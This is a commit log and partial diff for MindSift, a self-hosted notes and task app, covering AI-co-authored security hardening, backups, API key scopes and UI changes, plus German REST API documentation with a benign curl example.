49 Commits
Author SHA1 Message Date
sandrodachandClaude Opus 5.5 d11ae4dcc6 Merge branch 'dev': v0.5.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m49s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:12:05 +01:00
sandrodachandClaude Opus 5.5 3c31a22ba0 fix(capture): + button opens the capture sheet again in triage and tasks
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m59s
Hold-to-record opened the sheet on pointerup; the click the browser sends
right after landed on the new sheet's backdrop and closed it at once.
Lists and notes have no such backdrop and kept working. A short tap now
opens on the click itself (as before), and after a hold that click is
ignored. Tests send the real pointerup + click sequence. Version 0.5.1.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:12:03 +01:00
sandrodachandClaude Opus 5.5 fcdf44a0ad docs: fresh review – new flaw list (FLAW-28 to 41) and feature ideas
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
The old list (FLAW-01 to 27) was done and is removed; references to it
in other documents are gone or replaced by the content. New findings
from a review after v0.5, among them a high one: javascript: links in
task notes run on click (Markdown viewer), which with the session in
localStorage allows taking over accounts through a shared task list.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:02:02 +01:00
sandrodachandClaude Opus 5.5 8052142f40 Merge branch 'dev': v0.5
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m45s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:54:11 +01:00
sandrodachandClaude Opus 5.5 13a7c9f08d release: v0.5 – security hardening, backups, demo reset, API key scopes, hold-to-record
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m0s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:54:09 +01:00
sandrodachandClaude Opus 5.5 373987292f fix(capture): hold-to-record works by keyboard, confirms only after saving; drop FLAW-16
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m43s
The + button lost its click handler for pointer events, so keyboard,
VoiceOver and switch control could no longer open the capture sheet; a
click without pointer (detail 0) now taps. "Im Quick Dump gespeichert"
appears after the save succeeded, and the cancel state uses an existing
border color. FLAW-16 (setup open until the first account, demo
accounts) is removed from the list: intended behaviour, not a flaw.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:35:26 +01:00
sandrodachandClaude Opus 5.5 ac2d9e1412 Merge branch 'feat/hold-to-record' into dev: hold the + button to record a thought
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:31:29 +01:00
sandrodachandClaude Opus 5.5 64e077dd57 feat(backup): admin and account UI for server backups, import by section
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m44s
Admin settings: switch, time, retention, list with download and a
"Jetzt sichern" button. Account settings: own server backups with
download and restore (replace or add, for chosen sections, replace needs
a second tap). The MindSift import gets the same section picker.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:11:49 +01:00
sandrodachandClaude Opus 5.5 c97765e08e feat(backup): daily server and user backups, restore by section (backend)
Admins switch automatic backups on, pick the time and the retention
(default 03:00, 3 days). Each run writes a gzip snapshot of the whole
database (VACUUM INTO, consistent while others write) and one MindSift
backup ZIP per active user below $DATA_DIR/backups, then deletes files
past the retention. A restart after the time catches up on that day.
Admins list, download and trigger runs; users list, download and restore
their own backups.

Import and restore can be limited to sections (notes, tasks, lists,
inbox, themes): restore only empties the chosen sections. Export and
import now carry custom themes. File names are checked against a fixed
pattern, so no other file can be fetched through the API.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:10:06 +01:00
sandrodachandClaude Opus 5.5 cab5a79f6d refactor(storage): one definition of task list access (FLAW-20)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
accessibleTaskListsSQL in tasklists.go defines which task lists a user
can see; GetTaskLists, GetTaskListByID and the task queries use it
instead of three copies of the same subquery.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:05:05 +01:00
sandrodachandClaude Opus 5.5 0fdf46635b test(frontend): task dialog, sharing avatars, trash, API key scopes, passwords (FLAW-19)
Covers opening and closing the task dialog (the former hook-order bug),
date/time fields and the view-only mode for viewer lists, the avatar
stack of shared items, the two-tap delete in the trash, scope selection
and badges of API keys, and the shared password rule.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:03:54 +01:00
sandrodachandClaude Opus 5.5 4c50d15915 chore(frontend): real ESLint instead of a placeholder; fix hook order (FLAW-19)
eslint.config.js with the recommended JS/TypeScript rules and the React
hooks rules; npm run lint runs ESLint and is part of the image build.
Errors fail the build, the 24 exhaustive-deps findings stay warnings.

It found two real bugs: TaskDetailModal and ManageColumnsModal called
their hooks after 'if (!isOpen) return null', so the hook count changed
whenever the dialog opened or closed. Both are now a thin wrapper plus a
content component. Also removes unused imports and dead code (old task
list share handlers, an unused realtime status, an unused rollup).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:02:52 +01:00
sandrodachandClaude Opus 5.5 6b56a33500 fix(db): report write errors, multi-step changes all or nothing (FLAW-14)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m4s
Store.execInTx runs related statements in one transaction and returns
the first error. Used for deleting and moving folders (with the trash),
shared folders, folder shares and mounts, deleting task lists and
accounts, pinning, and the password reset (new password and the end of
all other links together). Writes whose success the API reports now
pass their error to the client (logout, new password, setup, sharing
mode, new group, restore, unlinking a note block), follow-up tasks and
alarm markers log failures. Remaining ignored writes are listed as
intentional in flaws.md.

Found on the way: DeleteTaskList unlinked all tasks before checking
ownership, so a stranger with the list ID could empty it; viewers could
unlink tasks from note blocks. Both fixed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:59:23 +01:00
sandrodachandClaude Opus 5.5 792ca946f8 fix(db): transactions wait for the write lock instead of failing (FLAW-23)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 58s
A load test with 16 concurrent writers lost 12 of 480 writes with
SQLITE_BUSY: transactions that read before writing cannot be helped by
busy_timeout once another connection writes. _txlock=immediate makes
every transaction take the write lock at BEGIN, so it queues instead.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:51:01 +01:00
sandrodachandClaude Opus 5.5 dc44f8250c fix(db): numbered migrations that run once and fail loudly (FLAW-13)
schema_migrations records every applied step; the former migrate() is
step 3, the baseline that builds the v0.4.1 schema and repairs older
databases. Columns are only added when missing, so every other error now
stops the start with a clear message instead of being swallowed, and the
cleanup statements no longer run on each start. migrations/001_init.sql
was never read and is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:49:35 +01:00
sandrodachandClaude Opus 5.5 f57a9884d1 fix(security): stream tickets instead of session tokens in URLs (FLAW-22)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m32s
WebSocket and EventSource put the 30-day session token into the URL,
where proxies log it. The app now gets a one-time ticket right before
connecting (POST /auth/stream-ticket, 60 s, bound to the token version);
?token= is no longer accepted for streams, non-browser clients may use
the Authorization header.

With BASE_URL set, CORS allows only that origin and WebSocket upgrades
only it or the requested host; credentials are off (no cookies exist).
Logout, ending all sessions, a new password and deactivation close all
live streams of the account; clients with a valid session reconnect
with a fresh ticket.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:46:58 +01:00
sandrodachandClaude Opus 5.5 5c711c2cf7 feat(api-keys): scopes for triage, tasks and list items (FLAW-07)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m33s
Keys get scopes when created (webhook:triage, webhook:task,
webhook:list; default triage, old keys become triage). The webhook
ingest learns target task (optional task list) and list_item (needs a
list the owner may write to); /inbox checks the scope of its target as
well; a missing scope answers 403. Keys can no longer open live streams,
which carried all of the owner's events.

The visible key UI lived in the account settings while EcosystemView
was never rendered; it is replaced by ApiKeysPanel in the settings with
scope chips, scope badges per key and a simulator for all three
targets. Examples send the key as X-API-Key header, not in the URL.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:36:17 +01:00
sandrodachandClaude Opus 5.5 3900c6104e fix(security): list items need write access to their list (FLAW-27)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 59s
Creating, checking, editing, deleting, reordering and clearing list
items did not check the list at all: any logged-in user with a list or
item ID could change it, viewers of shared lists as well. All item
endpoints and converting a thought into a list item now require owner
or editor rights and that the item belongs to the list (404 without
access, 403 for viewers).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:28:39 +01:00
sandrodach eabb018c64 feat(capture): hold mobile + button to record voice thoughts directly to inbox 2026-10-29 14:27:42 +01:00
sandrodachandClaude Opus 5.5 11c14fa9ff feat(auth): lock logins after repeated failures, trust proxies explicitly (FLAW-09)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 59s
Failed logins are counted per account+address (3), per account (20) and
per address (30) within 15 minutes; a full bucket answers 429 with
Retry-After for 15 minutes. Locking the account+address bucket first
means an attacker cannot lock the owner out from elsewhere. Unknown
names count like accounts. Success clears the account buckets, a
password reset (mail or admin) lifts the lock. LOGIN_PROTECTION=false
switches it off.

chi's RealIP believed X-Forwarded-For from anyone. The client address
now comes from the headers only when the connection is from a trusted
proxy: TRUSTED_PROXIES=private (default: loopback, Docker, LAN), all
(old behaviour), none, or CIDRs. A proxy that sends no client address
is logged once and per-address limits are skipped for it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:26:02 +01:00
sandrodachandClaude Opus 5.5 6b9eb62caf feat(demo): reset the demo instance every 20 minutes with a countdown
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m34s
DEMO_RESET_MINUTES (default 20, 0 = off) resets the database to the
sample data. Demo accounts get fixed IDs so sessions survive; requests
hold a read lock so the reset never runs under a half-finished request
(streams excluded). DEMO_RESET goes to every connection, /auth/status
announces the next reset. The app shows "✨ Demo · Reset in MM:SS" in
place of the version, then clears cached answers, remounts the views,
reloads in the background and shows a short notice; if no event
arrives (long polling) it asks the server after the countdown.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:22:06 +01:00
sandrodachandClaude Opus 5.5 afd3b0347c fix(ui): rounded-full wins over the theme radius on framed panels
The global rule giving .bg-panel.border the theme's card radius made the
round search button square in themes with 0px corners. Elements that ask
for rounded-full now stay round in every theme. Also marks FLAW-21 as
fixed (Unlicense is in the repository).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:16:31 +01:00
sandrodachandClaude Opus 5.5 6d6a35d28d fix(ui): tab counters 4px lower and further right
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m32s
Corner counters on tabs (header, task lists, lists, workspace) sat on
the tab's top border and close to the text; now -top-0.5 -right-2 with
pr-3 on the label. The mobile bottom bar keeps its icon placement.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:46:26 +01:00
sandrodachandClaude Opus 5.5 e7851f1257 feat(workspace): sidebar search opens the global search
The sidebar filter only matched titles and tags, never the bullets. It
is replaced by a search-field-like button that opens the command palette
(full-text search over all notes and bullets).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:44:40 +01:00
sandrodachandClaude Opus 5.5 4bf060b97e feat(ui): workspace tabs use the shared counter
To-Dos and Hashtags show a CountBadge on the label like all other tabs;
Notizen has no counter any more.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:44:07 +01:00
sandrodachandClaude Opus 5.5 c4fc455850 feat(ui): open list items counter on Listen, none on Workspace
New stat listItemsOpenCount: unchecked items in all lists the user sees
(own, shared directly or through a group), shown as accent counter on
Listen in the header and the mobile bottom bar. Workspace loses its
counter. Stats refresh on list events and after deleting an item.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:43:56 +01:00
sandrodachandClaude Opus 5.5 6d720c0c36 feat(ui): round icon-only search button in the title bar
The shortcut moves from the visible ⌘K badge into the tooltip.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:42:25 +01:00
sandrodachandClaude Opus 5.5 d1982816c1 fix(alarms): give up after three runs without delivery (FLAW-12)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m34s
New column alarm_failures counts ticker runs in which no channel
delivered; at three the alarm is marked as done and a warning is logged
instead of retrying every minute forever. Success, a new due date or
reopening the task starts over with three attempts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:22:13 +01:00
sandrodachandClaude Opus 5.5 b5f926bcf7 fix(auth): new passwords need at least 8 characters (FLAW-09)
auth.ValidatePassword checks every way a password is set: setup,
registration, profile, admin create and reset, reset by mail. Same rule
in the browser before sending (lib/password.ts), with our own German
message instead of the browser popup. Existing shorter passwords still
log in. Profile and admin reset no longer trim the password, which made
passwords with surrounding spaces unusable for login.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:20:46 +01:00
sandrodachandClaude Opus 5.5 f8989d0c44 fix(theme): readable text on the Polarized teal accent
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m34s
White on #14b8a6 reaches only 2.5:1; dark teal #042f2e gives 5.8:1 for
primary buttons, counters and active filters.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 11:08:39 +01:00
sandrodachandClaude Opus 5.5 ee60a03e8c Merge branch 'theme/polarized-teal' into dev: Polarized in green/teal
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m36s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 11:04:31 +01:00
sandrodach 51a41df14b feat(theme): revise Polarized to classic green/teal dark palette 2026-10-29 09:15:20 +01:00
sandrodachandClaude Opus 5.5 35021a7352 Merge branch 'dev': nested demo note
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:14:33 +01:00
sandrodachandClaude Opus 5.5 82a5b6c4ad feat(demo): deeply nested sample note to try out zooming
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 59s
"Hausrenovierung 2027" in Privat goes down seven levels (floor → room →
topic → appointment → variants → details) with tasks and hashtags mixed
in, so zooming into a branch and back via the breadcrumb shows something
realistic.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:14:31 +01:00
sandrodachandClaude Opus 5.5 99b802e96a Merge branch 'dev': version 0.4.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:07:18 +01:00
sandrodachandClaude Opus 5.5 4b9cf332b3 release: v0.4.1 – Polarized and Suri themes, due times, notes trash, backlinks, password reset, offline PWA
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m43s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:07:16 +01:00
sandrodachandClaude Opus 5.5 9f3ad841bd Merge branch 'dev': Polarized and Suri themes
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m30s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:42:18 +01:00
sandrodachandClaude Opus 5.5 a9933b837e Merge branch 'theme/polarized-suri' into dev: Polarized and Suri themes
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m32s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:42:04 +01:00
sandrodachandClaude Opus 5.5 52de2d09c1 Merge branch 'dev': due times & alarms, notes trash, backlinks, password reset, offline PWA, security fixes, file split
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:17:37 +01:00
sandrodachandClaude Opus 5.5 74c394efaa refactor: split sqlite.go and server.go by domain (FLAW-20)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m31s
Pure moves, no behaviour change: the storage layer now has users,
apikeys, thoughts, tasklists, documents, folders, tags, lists, teams and
system files next to sqlite.go (store, schema, migrations); the API has
handlers_*.go per area plus realtime.go and alarms.go next to server.go
(server, router, middleware). Declarations were moved verbatim with an
AST-based tool; imports pruned with goimports.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:14:33 +01:00
sandrodachandClaude Opus 5.5 7bba174454 feat(pwa): start and keep working offline
The service worker now caches the app shell: page loads are network
first with the last index.html as fallback, hashed bundles come from the
cache, icons and manifest are refreshed in the background; API calls are
never intercepted. GET answers are kept per user in IndexedDB and served
when the server cannot be reached, so the app starts logged in with the
last known thoughts, tasks and lists. Captured thoughts and checked tasks
or list items go to an outbox that is sent in order when the connection
returns (also at start and every 30 s). A banner shows offline state and
waiting changes. Logging out clears cache and outbox.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:11:47 +01:00
sandrodachandClaude Opus 5.5 5e20710aa7 feat(auth): reset a forgotten password by mail
"Passwort vergessen?" appears on the login screen when SMTP and BASE_URL
are configured. The request always gets the same answer and sends the mail
in the background (at most every 2 minutes per account). The link holds a
random token valid once for one hour; only its SHA-256 is stored. Setting
the new password invalidates all open links and ends every session. The
app removes the token from the address bar and offers a way back for
expired links.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:06:56 +01:00
sandrodachandClaude Opus 5.5 677fe0fc0a feat(workspace): backlinks at the end of a note
GET /documents/{id}/backlinks lists the notes the user can open whose
blocks link [[Title]] (also |alias and #section, case-insensitive),
excluding the note itself and the trash. The collapsible "Verlinkt auf
diese Notiz" section shows each note with folder and the linking bullets;
a click jumps straight to the bullet.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:00:57 +01:00
sandrodach 8619008aaa feat(theme): add Polarized and Suri purple dark themes 2026-10-29 07:58:33 +01:00
sandrodachandClaude Opus 5.5 f69f74fdc7 feat(workspace): trash for notes
Deleting a note (or its folder) moves it to the trash instead of erasing
it. Trashed notes leave the tree, search, export and stats and are hidden
from everyone they were shared with; the owner sees them read-only with a
restore banner. New endpoints list, restore, purge and empty the trash;
restoring recreates a deleted folder. Sidebar entry and mobile menu item
with counter, list view with two-tap permanent delete.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:57:42 +01:00
sandrodachandClaude Opus 5.5 344f5e4ab2 feat(tasks): due dates with optional time; alarms at the right moment
Due dates can carry a time (YYYY-MM-DDTHH:MM). Alarms fire at that time,
or 09:00 for all-day tasks, minus the user's lead time, in TZ (default
Europe/Berlin, tzdata embedded). A new due date or reopening a task
re-arms the alarm. Recurrence keeps the time; Markdown export/import
carry it. The UI shows relative labels ("Heute, 14:30"), marks overdue
tasks to the minute and groups by local day instead of the UTC date.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:48:37 +01:00
sandrodachandClaude Opus 5.5 300fd6a7be fix(security): API keys only deliver data; one auth check everywhere
Until API keys get scopes they have exactly one right: POST /api/v1/inbox
(thought or task via target) and the webhook ingest; every other endpoint
answers 403 for a key. Middleware and webhook ingest share one token check
(revocation list, token_version, active account), closing FLAW-08.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:39:29 +01:00
sandrodachandClaude Opus 5.5 62463bc6fd fix(security): SSRF protection for alarm webhooks (FLAW-05)
Discord and custom webhook URLs are checked when saved and before every
call: https only, Discord URLs must point to discord.com. A guarded HTTP
client resolves hosts itself and connects only to allowed IPs; localhost,
link-local and cloud metadata are always blocked, LAN ranges (incl.
Tailscale CGNAT) and plain http only with the new admin switch.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:37:39 +01:00
sandrodachandClaude Opus 5.5 4cdbcbd6b5 fix(security): never sign tokens with a known JWT secret (FLAW-04)
Without JWT_SECRET, or with one of the published placeholders, the server
generates 32 random bytes once and keeps them in the data directory
(jwt.secret, mode 0600), so tokens cannot be forged and logins survive
restarts. Instances that ran on the old default log in once more.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:35:45 +01:00
137 changed files with 16525 additions and 8712 deletions

No files matched your search

+1 -2
View File
@@ -8,7 +8,7 @@ RUN npm install --no-audit --no-fund
COPY frontend/ ./
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
ARG APP_VERSION=""
RUN npx tsc --noEmit && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
RUN npx tsc --noEmit && npm run lint && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
# ==============================================================================
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
@@ -36,7 +36,6 @@ RUN go get github.com/go-chi/chi/v5@v5.2.0 \
# Copy application source & compiled frontend SPA assets for go:embed
COPY cmd/ ./cmd/
COPY internal/ ./internal/
COPY migrations/ ./migrations/
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
+23 -7
View File
@@ -1,6 +1,6 @@
# REST-API
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>` oder `Bearer mindsift_sec_…` bzw. Header `X-API-Key`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
## Öffentlich
@@ -12,10 +12,13 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen |
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
| POST | `/webhooks/ingest` | Aufgabe per Webhook anlegen, Token als `?token=`, `X-API-Key` oder Bearer. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; Klartext-Body wird als Inhalt genommen |
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); Token als `?token=` nötig |
| GET | `/events` | SSE-Fallback; Token als `?token=` nötig |
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=`. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
## Konto und Allgemeines (angemeldet)
@@ -28,7 +31,7 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
| GET | `/stats` | Zähler fürs Dashboard |
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
| GET | `/search?q=` | Globale FTS5-Suche in zugänglichen Notizen (Titel & Blöcke), Aufgaben und Listen → `{thoughts, documents, listItems, hits}` |
| GET | `/export` | Datenexport als JSON; mit `?format=zip` dieselben Daten als `mindsift-backup.json` in einer ZIP (so lädt die Oberfläche das Backup) |
| GET | `/export/markdown` | Obsidian-kompatibles ZIP (`mindsift-vault-DATUM.zip`), direkt gestreamt: Notizen als `.md` mit YAML-Frontmatter in der Ordnerstruktur des Nutzers (inkl. geteilter), `Aufgaben/<Liste>.md` im Format des Tasks-Plugins (`📅`, `⏫`/`🔺`), `Listen/<Liste>.md` |
@@ -38,7 +41,9 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| — | `/import/mindsift?mode=restore` | Wiederherstellen: löscht vor dem Import alle eigenen Notizen, Ordner, Aufgaben, Gedanken und Listen (erst nachdem die Datei vollständig gelesen und geprüft ist) |
| DELETE | `/user/data` | Alle eigenen Daten löschen, Konto bleibt (`{"password"}` nötig) |
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung) |
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
### Globale Suche (`GET /api/v1/search?q=`)
@@ -104,7 +109,11 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
| GET/PUT/DELETE | `/documents/{id}` | Abruf; Ändern von `title`, `icon`, `folderPath`, `isPinned` (Blöcke → `400`, sie laufen über `/docs/{id}/sync`); Löschen |
| GET/PUT/DELETE | `/documents/{id}` | Abruf; Ändern von `title`, `icon`, `folderPath`, `isPinned` (Blöcke → `400`, sie laufen über `/docs/{id}/sync`); Löschen = in den Papierkorb (Eigentümer) bzw. Freigabe verlassen (andere) |
| GET/DELETE | `/documents/trash` | Papierkorb auflisten (`id`, `title`, `icon`, `folderPath`, `deletedAt`, `isOwner`) bzw. leeren |
| GET | `/documents/{id}/backlinks` | Notizen mit `[[Titel]]`-Link auf diese Notiz (nur sichtbare, ohne Papierkorb): `docId`, `title`, `icon`, `folderPath`, bis zu 5 `blocks` (`id`, `content`), `more` |
| POST | `/documents/{id}/restore` | Aus dem Papierkorb zurückholen (fehlender Ordner wird neu angelegt) |
| DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen |
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
@@ -182,6 +191,8 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben |
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
## Beispiele
@@ -191,6 +202,11 @@ curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
